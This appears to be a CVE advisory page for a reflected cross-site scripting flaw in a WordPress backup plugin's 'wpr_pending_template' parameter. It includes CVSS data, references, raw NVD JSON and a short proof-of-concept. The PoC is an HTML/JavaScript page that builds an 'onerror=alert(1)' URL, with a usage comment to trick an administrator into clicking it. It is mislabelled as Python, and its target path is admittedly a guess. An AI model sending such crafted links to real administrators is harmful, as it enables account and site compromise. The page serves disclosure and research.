CVE-2026-4305

Description

The Royal WordPress Backup & Restore Plugin plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'wpr_pending_template' parameter in all versions up to, and including, 1.0.16 due to insufficient input validation. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick an administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Royal WordPress Backup & Restore Plugin <= 1.0.16

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-4305
  Vulnerable Parameter: wpr_pending_template
  Affected Product: Royal WordPress Backup & Restore Plugin <= 1.0.16
  Usage: Send the crafted URL to an administrator and induce a click.
-->

<html>
  <body>
    <script>
      // Construct the malicious payload
      var payload = '<img src=x onerror=alert(1)>';
      
      // Encode the payload for the URL
      var encodedPayload = encodeURIComponent(payload);
      
      // Craft the vulnerable endpoint URL (Example path, actual path may vary based on plugin implementation)
      // The vulnerability is triggered via the wpr_pending_template parameter
      var targetUrl = 'http://example.com/wp-admin/admin.php?page=royal-backup-reset&wpr_pending_template=' + encodedPayload;
      
      // Log the PoC link
      console.log('PoC Link: ' + targetUrl);
      
      // Redirect for demonstration (Do not execute in production)
      // window.location.href = targetUrl;
      document.write('PoC Generated. Check console for URL: ' + targetUrl);
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4305
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4305
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4305/
[4] VulDB https://vuldb.com/cve/CVE-2026-4305
[5] https://plugins.trac.wordpress.org/browser/royal-backup-reset/tags/1.0.16/assets/backup-reminder.js#L751
[6] https://plugins.trac.wordpress.org/browser/royal-backup-reset/tags/1.0.16/royal-backup-reset.php#L803
[7] https://plugins.trac.wordpress.org/changeset?old_path=%2Froyal-backup-reset/tags/1.0.16&new_path=%2Froyal-backup-reset/tags/1.0.17
[8] https://www.wordfence.com/threat-intel/vulnerabilities/id/f9e0c658-b37c-4780-9589-6def9e36539b?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4305", "sourceIdentifier": "[email protected]", "published": "2026-04-10T02:16:03.397", "lastModified": "2026-04-24T18:01:58.517", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Royal WordPress Backup & Restore Plugin plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'wpr_pending_template' parameter in all versions up to, and including, 1.0.16 due to insufficient input validation. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick an administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/royal-backup-reset/tags/1.0.16/assets/backup-reminder.js#L751", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/royal-backup-reset/tags/1.0.16/royal-backup-reset.php#L803", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?old_path=%2Froyal-backup-reset/tags/1.0.16&new_path=%2Froyal-backup-reset/tags/1.0.17", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f9e0c658-b37c-4780-9589-6def9e36539b?source=cve", "source": "[email protected]"}]}}